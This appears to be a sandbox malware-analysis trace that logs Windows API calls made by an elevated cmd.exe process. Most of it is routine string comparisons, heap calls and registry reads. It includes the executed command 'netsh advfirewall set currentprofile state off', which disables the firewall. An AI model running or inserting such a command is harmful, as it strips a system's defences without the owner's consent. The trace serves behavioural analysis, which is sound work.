[0056.019] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0056.019] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0056.019] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0056.019] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0056.019] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0056.019] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0056.019] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0056.019] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0056.019] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0056.019] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0056.019] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0056.019] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0056.019] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0056.019] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0056.019] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0056.019] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0056.020] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0056.020] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0056.020] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0056.020] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0056.020] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0056.020] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0056.020] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0056.020] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0056.020] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0056.020] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0056.020] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0056.020] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0056.020] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0056.020] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0056.020] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0056.020] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0056.020] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0056.020] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0056.020] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0056.020] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0056.020] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0056.020] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0056.020] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0056.020] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0056.020] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0056.020] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0056.020] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0056.021] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0056.021] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0056.021] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0056.021] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0056.021] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0056.021] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0056.021] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0056.021] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0056.021] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0056.021] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0056.021] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0056.021] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0056.021] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0056.021] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0056.021] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0056.021] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0056.021] GetProcessHeap () returned 0x4c0000 [0056.021] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x218) returned 0x4c1ab0 [0056.021] GetProcessHeap () returned 0x4c0000 [0056.021] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x70) returned 0x4c1cd0 [0056.022] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0056.022] GetProcessHeap () returned 0x4c0000 [0056.022] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x420) returned 0x4d9a80 [0056.022] SetErrorMode (uMode=0x0) returned 0x0 [0056.022] SetErrorMode (uMode=0x1) returned 0x0 [0056.022] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4d9a90, lpFilePart=0x2eee60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2eee60*="Desktop") returned 0x25 [0056.022] SetErrorMode (uMode=0x0) returned 0x1 [0056.022] GetProcessHeap () returned 0x4c0000 [0056.022] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d9a80, Size=0x68) returned 0x4d9a80 [0056.023] GetProcessHeap () returned 0x4c0000 [0056.023] RtlSizeHeap (HeapHandle=0x4c0000, Flags=0x0, MemoryPointer=0x4d9a80) returned 0x68 [0056.023] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0056.023] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0056.023] GetProcessHeap () returned 0x4c0000 [0056.023] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x128) returned 0x4d5b70 [0056.023] GetProcessHeap () returned 0x4c0000 [0056.023] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x240) returned 0x4d9b00 [0056.030] GetProcessHeap () returned 0x4c0000 [0056.030] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d9b00, Size=0x12a) returned 0x4d9b00 [0056.030] GetProcessHeap () returned 0x4c0000 [0056.030] RtlSizeHeap (HeapHandle=0x4c0000, Flags=0x0, MemoryPointer=0x4d9b00) returned 0x12a [0056.030] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a36f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.030] GetProcessHeap () returned 0x4c0000 [0056.030] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe8) returned 0x4d9c40 [0056.030] GetProcessHeap () returned 0x4c0000 [0056.030] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d9c40, Size=0x7e) returned 0x4d9c40 [0056.030] GetProcessHeap () returned 0x4c0000 [0056.030] RtlSizeHeap (HeapHandle=0x4c0000, Flags=0x0, MemoryPointer=0x4d9c40) returned 0x7e [0056.031] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.031] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x2eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eebd0) returned 0xffffffffffffffff [0056.031] GetLastError () returned 0x2 [0056.031] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh", fInfoLevelId=0x1, lpFindFileData=0x2eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eebd0) returned 0xffffffffffffffff [0056.032] GetLastError () returned 0x2 [0056.032] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.032] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x2eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eebd0) returned 0x4c1d50 [0056.032] GetProcessHeap () returned 0x4c0000 [0056.032] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x28) returned 0x4d4640 [0056.032] FindClose (in: hFindFile=0x4c1d50 | out: hFindFile=0x4c1d50) returned 1 [0056.032] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x2eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eebd0) returned 0xffffffffffffffff [0056.032] GetLastError () returned 0x2 [0056.032] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x2eebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eebd0) returned 0x4c1d50 [0056.032] GetProcessHeap () returned 0x4c0000 [0056.032] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d4640, Size=0x8) returned 0x4d8900 [0056.032] FindClose (in: hFindFile=0x4c1d50 | out: hFindFile=0x4c1d50) returned 1 [0056.033] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0056.033] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0056.033] GetConsoleTitleW (in: lpConsoleTitle=0x2ef120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.034] GetProcessHeap () returned 0x4c0000 [0056.034] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x21c) returned 0x4d9cd0 [0056.034] GetConsoleTitleW (in: lpConsoleTitle=0x4d9ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.034] GetProcessHeap () returned 0x4c0000 [0056.035] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4d9cd0, Size=0xd6) returned 0x4d9cd0 [0056.035] GetProcessHeap () returned 0x4c0000 [0056.035] RtlSizeHeap (HeapHandle=0x4c0000, Flags=0x0, MemoryPointer=0x4d9cd0) returned 0xd6 [0056.035] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0056.035] GetProcessHeap () returned 0x4c0000 [0056.035] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d9cd0 | out: hHeap=0x4c0000) returned 1 [0056.036] InitializeProcThreadAttributeList (in: lpAttributeList=0x2eeed8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2eee98 | out: lpAttributeList=0x2eeed8, lpSize=0x2eee98) returned 1 [0056.036] UpdateProcThreadAttribute (in: lpAttributeList=0x2eeed8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2eee88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2eeed8, lpPreviousValue=0x0) returned 1 [0056.036] GetStartupInfoW (in: lpStartupInfo=0x2eeff0 | out: lpStartupInfo=0x2eeff0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x108, hStdOutput=0x114, hStdError=0x114)) [0056.036] GetProcessHeap () returned 0x4c0000 [0056.036] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4d4640 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.036] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.037] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.037] GetProcessHeap () returned 0x4c0000 [0056.037] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4640 | out: hHeap=0x4c0000) returned 1 [0056.037] GetProcessHeap () returned 0x4c0000 [0056.037] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4d5ca0 [0056.038] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2eef10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2eeec0 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x2eeec0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8dc, dwThreadId=0x8ec)) returned 1 [0056.050] CloseHandle (hObject=0x50) returned 1 [0056.050] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0056.050] GetProcessHeap () returned 0x4c0000 [0056.050] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4dc230 | out: hHeap=0x4c0000) returned 1 [0056.050] GetEnvironmentStringsW () returned 0x4daa10* [0056.050] GetProcessHeap () returned 0x4c0000 [0056.050] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xae8) returned 0x4db500 [0056.050] FreeEnvironmentStringsW (penv=0x4daa10) returned 1 [0056.050] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0056.051] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0056.051] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ee7c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ee7c8, ReturnLength=0x0) returned 0x0 [0056.051] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ee800, nSize=0x380, lpNumberOfBytesRead=0x2ee7c0 | out: lpBuffer=0x2ee800*, lpNumberOfBytesRead=0x2ee7c0*=0x380) returned 1 [0056.051] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x46235000" os_pid = "0x7d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xbb0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x7d0 [0055.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfc10 | out: lpSystemTimeAsFileTime=0x1cfc10*(dwLowDateTime=0x7d9de20, dwHighDateTime=0x1d696fc)) [0055.809] GetCurrentProcessId () returned 0x7d4 [0055.809] GetCurrentThreadId () returned 0x7d0 [0055.810] GetTickCount () returned 0x1148585 [0055.810] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfc18 | out: lpPerformanceCount=0x1cfc18*=17478989939) returned 1 [0055.811] GetModuleHandleW (lpModuleName=0x0) returned 0x4a340000 [0055.811] __set_app_type (_Type=0x1) [0055.811] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a367810) returned 0x0 [0055.811] __getmainargs (in: _Argc=0x4a38a608, _Argv=0x4a38a618, _Env=0x4a38a610, _DoWildCard=0, _StartInfo=0x4a36e0f4 | out: _Argc=0x4a38a608, _Argv=0x4a38a618, _Env=0x4a38a610) returned 0 [0055.812] GetCurrentThreadId () returned 0x7d0 [0055.812] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7d0) returned 0x3c [0055.812] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0055.813] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0055.813] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0055.813] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.813] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cfba8 | out: phkResult=0x1cfba8*=0x0) returned 0x2 [0055.813] VirtualQuery (in: lpAddress=0x1cfb90, lpBuffer=0x1cfb10, dwLength=0x30 | out: lpBuffer=0x1cfb10*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.813] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cfb10, dwLength=0x30 | out: lpBuffer=0x1cfb10*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.813] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cfb10, dwLength=0x30 | out: lpBuffer=0x1cfb10*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.813] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cfb10, dwLength=0x30 | out: lpBuffer=0x1cfb10*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0055.813] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cfb10, dwLength=0x30 | out: lpBuffer=0x1cfb10*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0055.813] GetConsoleOutputCP () returned 0x1b5 [0055.813] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a37bfe0 | out: lpCPInfo=0x4a37bfe0) returned 1 [0055.814] SetConsoleCtrlHandler (HandlerRoutine=0x4a363184, Add=1) returned 1 [0055.814] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.814] SetConsoleMode (hConsoleHandle=0x104, dwMode=0x0) returned 0 [0055.814] _get_osfhandle (_FileHandle=1) returned 0x104 [0055.814] GetConsoleMode (in: hConsoleHandle=0x104, lpMode=0x4a36e194 | out: lpMode=0x4a36e194) returned 0 [0055.814] _get_osfhandle (_FileHandle=0) returned 0xf8 [0055.814] GetConsoleMode (in: hConsoleHandle=0xf8, lpMode=0x4a36e198 | out: lpMode=0x4a36e198) returned 0 [0055.814] GetEnvironmentStringsW () returned 0x298a60* [0055.814] GetProcessHeap () returned 0x280000 [0055.814] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa7c) returned 0x2994f0 [0055.815] FreeEnvironmentStringsW (penv=0x298a60) returned 1 [0055.815] GetProcessHeap () returned 0x280000 [0055.815] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x2988e0 [0055.815] GetEnvironmentStringsW () returned 0x298a60* [0055.815] GetProcessHeap () returned 0x280000 [0055.815] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa7c) returned 0x299f80 [0055.815] FreeEnvironmentStringsW (penv=0x298a60) returned 1 [0055.815] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1cea68 | out: phkResult=0x1cea68*=0x44) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x18, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x1, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x1, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x0, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x40, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x40, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x40, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.815] RegCloseKey (hKey=0x44) returned 0x0 [0055.815] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1cea68 | out: phkResult=0x1cea68*=0x44) returned 0x0 [0055.815] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x40, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x1, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x1, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x0, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x9, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x4, lpData=0x1cea80*=0x9, lpcbData=0x1cea64*=0x4) returned 0x0 [0055.816] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1cea60, lpData=0x1cea80, lpcbData=0x1cea64*=0x1000 | out: lpType=0x1cea60*=0x0, lpData=0x1cea80*=0x9, lpcbData=0x1cea64*=0x1000) returned 0x2 [0055.816] RegCloseKey (hKey=0x44) returned 0x0 [0055.816] time (in: timer=0x0 | out: timer=0x0) returned 